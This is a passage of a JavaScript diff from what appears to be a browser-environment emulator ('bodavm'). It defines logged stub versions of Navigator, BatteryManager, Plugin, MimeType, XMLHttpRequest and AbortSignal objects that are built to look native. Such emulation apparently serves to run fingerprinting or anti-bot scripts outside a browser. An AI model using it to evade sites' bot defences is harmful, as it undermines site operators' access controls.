'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "windowControlsOverlay", { + configurable: true, + enumerable: true, + get: function windowControlsOverlay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "windowControlsOverlay_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "xr", { + configurable: true, + enumerable: true, + get: function xr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "xr_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userAgentData", { + configurable: true, + enumerable: true, + get: function userAgentData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgentData_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "canShare", { + configurable: true, + enumerable: true, + writable: true, + value: function canShare() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "canShare", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "share", { + configurable: true, + enumerable: true, + writable: true, + value: function share() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "share", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "clearAppBadge", { + configurable: true, + enumerable: true, + writable: true, + value: function clearAppBadge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clearAppBadge", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getBattery", { + configurable: true, + enumerable: true, + writable: true, + value: function getBattery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getBattery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getUserMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function getUserMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getUserMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "requestMIDIAccess", { + configurable: true, + enumerable: true, + writable: true, + value: function requestMIDIAccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMIDIAccess", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "requestMediaKeySystemAccess", { + configurable: true, + enumerable: true, + writable: true, + value: function requestMediaKeySystemAccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMediaKeySystemAccess", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "setAppBadge", { + configurable: true, + enumerable: true, + writable: true, + value: function setAppBadge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "setAppBadge", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitGetUserMedia", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitGetUserMedia() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitGetUserMedia", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getInstalledRelatedApps", { + configurable: true, + enumerable: true, + writable: true, + value: function getInstalledRelatedApps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getInstalledRelatedApps", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "registerProtocolHandler", { + configurable: true, + enumerable: true, + writable: true, + value: function registerProtocolHandler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "registerProtocolHandler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "unregisterProtocolHandler", { + configurable: true, + enumerable: true, + writable: true, + value: function unregisterProtocolHandler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "unregisterProtocolHandler", arguments); + } +}, 'prototype'); + +// navigator对象 + +bodavm.memory.globalobj['navigator'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['navigator'].__proto__ = bodavm.memory.globalobj['Navigator'].prototype; +// BatteryManager对象 + +bodavm.memory.globalobj['BatteryManager'] = function BatteryManager() { + console.log_copy('BatteryManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof BatteryManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BatteryManager'], "BatteryManager"); +bodavm.memory.globalobj['BatteryManager'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['BatteryManager'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('BatteryManager', "charging", { + configurable: true, + enumerable: true, + get: function charging() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "charging_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "chargingTime", { + configurable: true, + enumerable: true, + get: function chargingTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "chargingTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "dischargingTime", { + configurable: true, + enumerable: true, + get: function dischargingTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "dischargingTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "level", { + configurable: true, + enumerable: true, + get: function level() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "level_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingchange", { + configurable: true, + enumerable: true, + get: function onchargingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_get", arguments); + }, + set: function onchargingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingtimechange", { + configurable: true, + enumerable: true, + get: function onchargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_get", arguments); + }, + set: function onchargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "ondischargingtimechange", { + configurable: true, + enumerable: true, + get: function ondischargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_get", arguments); + }, + set: function ondischargingtimechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('BatteryManager', "onlevelchange", { + configurable: true, + enumerable: true, + get: function onlevelchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_get", arguments); + }, + set: function onlevelchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_set", arguments); + } +}, 'prototype'); +// Plugin对象 + +bodavm.memory.globalobj['Plugin'] = function Plugin() { + console.log_copy('Plugin 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Plugin)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Plugin'], "Plugin"); +bodavm.toolsFunc.defineProperty('Plugin', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "filename", { + configurable: true, + enumerable: true, + get: function filename() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "filename_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "description", { + configurable: true, + enumerable: true, + get: function description() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "description_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "namedItem", arguments); + } +}, 'prototype'); +// PluginArray对象 + +bodavm.memory.globalobj['PluginArray'] = function PluginArray() { + console.log_copy('PluginArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PluginArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PluginArray'], "PluginArray"); +bodavm.toolsFunc.defineProperty('PluginArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "namedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "refresh", { + configurable: true, + enumerable: true, + writable: true, + value: function refresh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "refresh", arguments); + } +}, 'prototype'); +// MimeType对象 + +bodavm.memory.globalobj['MimeType'] = function MimeType() { + console.log_copy('MimeType 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MimeType)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeType'], "MimeType"); +bodavm.toolsFunc.defineProperty('MimeType', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "suffixes", { + configurable: true, + enumerable: true, + get: function suffixes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "suffixes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "description", { + configurable: true, + enumerable: true, + get: function description() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "description_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeType', "enabledPlugin", { + configurable: true, + enumerable: true, + get: function enabledPlugin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "enabledPlugin_get", arguments); + }, + set: undefined +}, 'prototype'); +// MimeTypeArray对象 + +bodavm.memory.globalobj['MimeTypeArray'] = function MimeTypeArray() { + console.log_copy('MimeTypeArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MimeTypeArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeTypeArray'], "MimeTypeArray"); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MimeTypeArray', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "namedItem", arguments); + } +}, 'prototype'); +// XMLHttpRequestEventTarget对象 + +bodavm.memory.globalobj['XMLHttpRequestEventTarget'] = function XMLHttpRequestEventTarget() { + console.log_copy('XMLHttpRequestEventTarget 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XMLHttpRequestEventTarget)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestEventTarget'], "XMLHttpRequestEventTarget"); +bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequestEventTarget'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "ontimeout", { + configurable: true, + enumerable: true, + get: function ontimeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_get", arguments); + }, + set: function ontimeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadend", { + configurable: true, + enumerable: true, + get: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_get", arguments); + }, + set: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_set", arguments); + } +}, 'prototype'); +// XMLHttpRequest对象 + +bodavm.memory.globalobj['XMLHttpRequest'] = function XMLHttpRequest() { + console.log_copy('XMLHttpRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XMLHttpRequest(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequest'], "XMLHttpRequest"); +bodavm.memory.globalobj['XMLHttpRequest'].prototype.__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequest'].__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "onreadystatechange", { + configurable: true, + enumerable: true, + get: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_get", arguments); + }, + set: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "timeout", { + configurable: true, + enumerable: true, + get: function timeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_get", arguments); + }, + set: function timeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "withCredentials", { + configurable: true, + enumerable: true, + get: function withCredentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_get", arguments); + }, + set: function withCredentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "upload", { + configurable: true, + enumerable: true, + get: function upload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "upload_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseURL", { + configurable: true, + enumerable: true, + get: function responseURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "statusText", { + configurable: true, + enumerable: true, + get: function statusText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "statusText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseType", { + configurable: true, + enumerable: true, + get: function responseType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_get", arguments); + }, + set: function responseType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "response", { + configurable: true, + enumerable: true, + get: function response() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "response_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseText", { + configurable: true, + enumerable: true, + get: function responseText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseXML", { + configurable: true, + enumerable: true, + get: function responseXML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseXML_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getAllResponseHeaders", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllResponseHeaders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getAllResponseHeaders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getResponseHeader", { + configurable: true, + enumerable: true, + writable: true, + value: function getResponseHeader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getResponseHeader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "overrideMimeType", { + configurable: true, + enumerable: true, + writable: true, + value: function overrideMimeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "overrideMimeType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "send", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "setRequestHeader", { + configurable: true, + enumerable: true, + writable: true, + value: function setRequestHeader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "setRequestHeader", arguments); + } +}, 'prototype'); +// AbortController对象 + +bodavm.memory.globalobj['AbortController'] = function AbortController() { + console.log_copy('AbortController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.AbortController(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortController'], "AbortController"); +bodavm.toolsFunc.defineProperty('AbortController', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbortController', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "abort", arguments); + } +}, 'prototype'); +// AbortSignal对象 + +bodavm.memory.globalobj['AbortSignal'] = function AbortSignal() { + console.log_copy('AbortSignal 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AbortSignal)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortSignal'], "AbortSignal"); +bodavm.memory.globalobj['AbortSignal'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AbortSignal'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AbortSignal', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "abort", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AbortSignal', "timeout", { + configurable: true, + enumerable: true, + writable: true, + value: function timeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "timeout", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AbortSignal', "aborted", { + configurable: true, + enumerable: true, + get: function aborted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "aborted_get", arguments); + }, + set: undefined +}, 